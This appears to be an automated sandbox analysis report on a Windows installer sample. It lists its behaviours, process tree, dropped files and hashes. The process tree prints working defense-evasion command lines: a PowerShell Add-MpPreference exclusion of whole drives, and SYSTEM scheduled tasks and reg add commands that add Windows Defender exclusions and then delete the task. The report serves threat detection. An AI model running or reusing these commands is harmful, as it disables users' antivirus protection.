Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 14:40

General

  • Target
    install.2.0.06.exe
  • Size 30.5MB
  • Sample261024-r2a5bsfb47
  • SHA256 ccbaf882c8ed234c03356550084e63fa67c8fcf88d64aede01c9b3e8b2bcc36f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.06.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.06.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:3488
  • C:\Users\Public\r1b3B5\OIdTM1.exe
    "C:\Users\Public\r1b3B5\OIdTM1.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3524
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4904
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\r1b3B5\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:1348
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\r1b3B5\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5212
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:3740
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4840
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3816
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4772
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3552
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:6024
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2752
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2624
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2368
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:880
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:916
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4440
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1488
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:3252
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:5788
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5480
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4500
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:6068
                      • C:\Users\Public\r1b3B5\OIdTM1.exe
                        "C:\Users\Public\r1b3B5\OIdTM1.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:3068
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\r1b3B5" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:3308
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\r1b3B5" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:2276
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:3868
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:4676
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:4228
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:5800
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:2972

                              Network

                                    MITRE ATT&CK Enterprise v16

                                    Replay Monitor

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                                    Downloads

                                    0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                    • Size 1KB
                                    • SHA256 c6ed716395533e98426ab87873b91b26173d3d5b6f560e38529ffc07002a64a5
                                    • MD5 SHA1 SHA512 TLSH

                                    B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                    • Size 1KB
                                    • SHA256 140ddad6346ab9e2215d6852a87a1674567d4881fab6f2e5c3507fb9cfc7f18c
                                    • MD5 SHA1 SHA512 TLSH

                                    0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                    • Size 512B
                                    • SHA256 056bcac7bbcdb72a1fb00365aa97508cf02ae068383f2d0ed9d4a3ede8b062b8
                                    • MD5 SHA1 SHA512 TLSH

                                    B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                    • Size 506B
                                    • SHA256 37f12487a4cee261505088696f9f9e25391866e00dd8778a03baa8bfc40aab19
                                    • MD5 SHA1 SHA512 TLSH

                                    __PSScriptPolicyTest_1ehwmq1k.hcg.psm1

                                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ehwmq1k.hcg.psm1
                                    • Size 60B
                                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                    • MD5 SHA1 SHA512 TLSH

                                    OIdTM1.exe

                                    • Path C:\Users\Public\r1b3B5\OIdTM1.exe
                                    • Size 135KB
                                    • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    UxEnhance64.dll

                                    • Path C:\Users\Public\r1b3B5\UxEnhance64.dll
                                    • Size 3.1MB
                                    • SHA256 d89b8d9683e7a0c23cb209124eedb282486dc22f03648bfa9da9675850da6021
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    adoresd.dat

                                    • Path C:\Users\Public\r1b3B5\adoresd.dat
                                    • Size 4.8MB
                                    • SHA256 3887cfb0704532f4fd49870d533a74fad5de56613b7e6789833ecb033ea761e5
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    msadox.tb

                                    • Path C:\Users\Public\r1b3B5\msadox.tb
                                    • Size 8KB
                                    • SHA256 ee5f767956f2065923fb6114e4a2f641337df473fd30b28f49a015ebd1c17959
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    memory/3068-580-0x000001AF87E70000-0x000001AF88747000-memory.dmp

                                    memory/3068-578-0x00007FFDEAD90000-0x00007FFDEB2AE000-memory.dmp

                                    memory/3068-583-0x000001AF87E70000-0x000001AF88747000-memory.dmp

                                    memory/3068-587-0x000001AF87E70000-0x000001AF88747000-memory.dmp

                                    memory/3068-591-0x00007FFE0DA70000-0x00007FFE0DA72000-memory.dmp

                                    memory/3068-589-0x000001AF87E70000-0x000001AF88747000-memory.dmp

                                    memory/3068-590-0x000001AF87E70000-0x000001AF88747000-memory.dmp

                                    memory/3068-588-0x000001AF87E70000-0x000001AF88747000-memory.dmp

                                    memory/3068-582-0x00007FFE0DA80000-0x00007FFE0DA82000-memory.dmp

                                    memory/3488-525-0x00007FFE01CF0000-0x00007FFE01D02000-memory.dmp

                                    memory/3488-524-0x0000000002620000-0x000000000262E000-memory.dmp

                                    memory/3488-1-0x0000000002620000-0x000000000262E000-memory.dmp

                                    memory/3488-0-0x0000000002620000-0x000000000262E000-memory.dmp

                                    memory/3488-2-0x0000000002640000-0x000000000264C000-memory.dmp

                                    memory/3488-504-0x00007FFE01CF0000-0x00007FFE01D02000-memory.dmp

                                    memory/3524-556-0x0000025E44920000-0x0000025E451F7000-memory.dmp

                                    memory/3524-544-0x0000025E44920000-0x0000025E451F7000-memory.dmp

                                    memory/3524-566-0x0000025E44920000-0x0000025E451F7000-memory.dmp

                                    memory/3524-567-0x0000025E44920000-0x0000025E451F7000-memory.dmp

                                    memory/3524-531-0x00007FFDEAD90000-0x00007FFDEB2AE000-memory.dmp

                                    memory/3524-559-0x0000025E455D0000-0x0000025E4565A000-memory.dmp

                                    memory/3524-560-0x0000025E455D0000-0x0000025E4565A000-memory.dmp

                                    memory/3524-562-0x0000025E455D0000-0x0000025E4565A000-memory.dmp

                                    memory/3524-546-0x0000025E44920000-0x0000025E451F7000-memory.dmp

                                    memory/3524-561-0x0000025E455D0000-0x0000025E4565A000-memory.dmp

                                    memory/3524-545-0x0000025E44920000-0x0000025E451F7000-memory.dmp

                                    memory/3524-550-0x0000025E44920000-0x0000025E451F7000-memory.dmp

                                    memory/3524-543-0x0000025E44920000-0x0000025E451F7000-memory.dmp

                                    memory/3524-538-0x00007FFE0DA80000-0x00007FFE0DA82000-memory.dmp

                                    memory/3524-539-0x0000025E44920000-0x0000025E451F7000-memory.dmp

                                    memory/3524-537-0x0000025E44920000-0x0000025E451F7000-memory.dmp

                                    memory/3524-530-0x00007FFE0DA70000-0x00007FFE0DA72000-memory.dmp

                                    memory/3524-558-0x0000025E43EC0000-0x0000025E43F0E000-memory.dmp

                                    memory/4904-605-0x000002121BEB0000-0x000002121BECE000-memory.dmp

                                    memory/4904-600-0x000002121BC70000-0x000002121BC92000-memory.dmp

                                    memory/4904-606-0x000002121BED0000-0x000002121BF82000-memory.dmp

                                    memory/4904-607-0x000002121BC60000-0x000002121BC6A000-memory.dmp